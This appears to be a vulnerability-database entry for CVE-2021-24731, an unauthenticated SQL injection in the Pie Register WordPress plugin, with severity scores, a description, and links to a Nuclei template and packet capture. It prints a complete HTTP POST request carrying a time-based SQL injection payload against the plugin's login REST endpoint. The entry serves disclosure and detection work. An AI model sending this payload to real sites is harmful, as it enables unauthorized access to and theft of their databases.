🔙 목록으로 돌아가기

CVE-2021-24731: Pie Register < 3.7.1.6 - SQL Injection

TitlePie Register < 3.7.1.6 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationFixed in version 3.7.1.6
CVSS Score9.8
EPSS Score0.53132
CVE IDCVE-2021-24731
CWE IDCWE-89
Tags time-based-sqli cve cve2021 sqli wpscan wordpress wp-plugin wp pie-register unauth genetechsolutions vuln

🔍 Vulnerability Description

The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.

🌐 HTTP Request

POST /wp-json/pie/v1/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 88
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

user_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24731.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24731.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A